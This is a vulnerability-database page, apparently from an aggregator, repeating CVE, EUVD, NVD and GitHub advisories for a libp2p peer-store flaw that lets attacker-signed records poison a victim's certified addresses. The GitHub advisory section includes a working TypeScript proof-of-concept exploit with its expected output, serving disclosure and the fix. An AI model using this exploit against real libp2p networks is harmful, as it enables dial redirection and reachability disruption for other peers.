libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.

Source published

17 Sep 2026 15:19:00 UTC

Source modified

21 Sep 2026 20:48:54 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.

Source published

Sep 17, 2026, 3:19:00 PM (timezone not stated)

Source modified

Sep 21, 2026, 8:48:54 PM (timezone not stated)

Observed here

11 Nov 2026 17:02:06 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.

Source published

17 Sep 2026 16:18:17 UTC

Source modified

24 Sep 2026 21:19:05 UTC

Observed here

25 Oct 2026 16:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

### Summary `@libp2p/peer-store` accepts a signed `PeerRecord` whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable `consumePeerRecord` path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped `PeerRecord.peerId`. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim. ### Details The vulnerable code is in `packages/peer-store/src/index.ts`: - `RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options)` verifies the envelope signature. - `const peerId = peerIdFromCID(envelope.publicKey.toCID())` derives the envelope signer peer ID. - The optional `expectedPeer` check only compares `expectedPeer` to the envelope signer. - `const peerRecord = PeerRecord.createFromProtobuf(envelope.payload)` decodes `peerRecord.peerId` from attacker-controlled signed payload bytes. - `this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true })` stores the addresses under the payload peer ID, not the verified signer peer ID. The missing invariant is: ```ts peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID())) ``` `packages/protocol-identify/src/utils.ts` already performs this check and can be used as the reference behavior: ```ts if (!peerRecord.peerId.equals(envelopePeer)) { throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord') } ``` The gossipsub Peer Exchange path reaches this code via `packages/gossipsub/src/gossipsub.ts` by calling: ```ts peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer }) ``` This does not prevent the bug because `peer` is derived from the wire `pi.peerID`. An attacker can set `pi.peerID` to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped `PeerRecord`. ### PoC ```ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair } from '@libp2p/crypto/keys' import { defaultLogger } from '@libp2p/logger' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record' import { persistentPeerStore } from '@libp2p/peer-store' import { multiaddr } from '@multiformats/multiaddr' import { MemoryDatastore } from 'datastore-core/memory' import { TypedEventEmitter } from 'main-event' const label = 'Certified peer-record address hijack' async function main (): Promise<void> { const localKey = await generateKeyPair('Ed25519') const attackerKey = await generateKeyPair('Ed25519') const victimKey = await generateKeyPair('Ed25519') const attacker = peerIdFromPrivateKey(attackerKey) const victim = peerIdFromPrivateKey(victimKey) const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001') const peerStore = persistentPeerStore({ peerId: peerIdFromPrivateKey(localKey), datastore: new MemoryDatastore(), events: new TypedEventEmitter(), logger: defaultLogger() }) // Payload claims victim, but the envelope is signed by attacker. const forgedRecord = new PeerRecord({ peerId: victim, multiaddrs: [attackerAddr], seqNumber: 999999n }) const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey) // Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker. const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), { expectedPeer: attacker }) assert.equal(accepted, true) const poisonedVictim = await peerStore.get(victim) assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({ multiaddr: multiaddr.toString(), isCertified })), [{ multiaddr: attackerAddr.toString(), isCertified: true }]) console.log(`${label} reproduced`) console.log(`attacker signer: ${attacker}`) console.log(`victim storage key: ${victim}`) console.log(`stored certified address: ${attackerAddr}`) } main().catch(err => { console.error(err) process.exitCode = 1 }) ``` Expected output: ```text Certified peer-record address hijack reproduced attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn stored certified address: /ip4/203.0.113.66/tcp/4001 ``` ### Impact Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records. This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.

Source published

17 Sep 2026 18:01:38 UTC

Source modified

17 Sep 2026 18:15:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Publisher rating · HIGH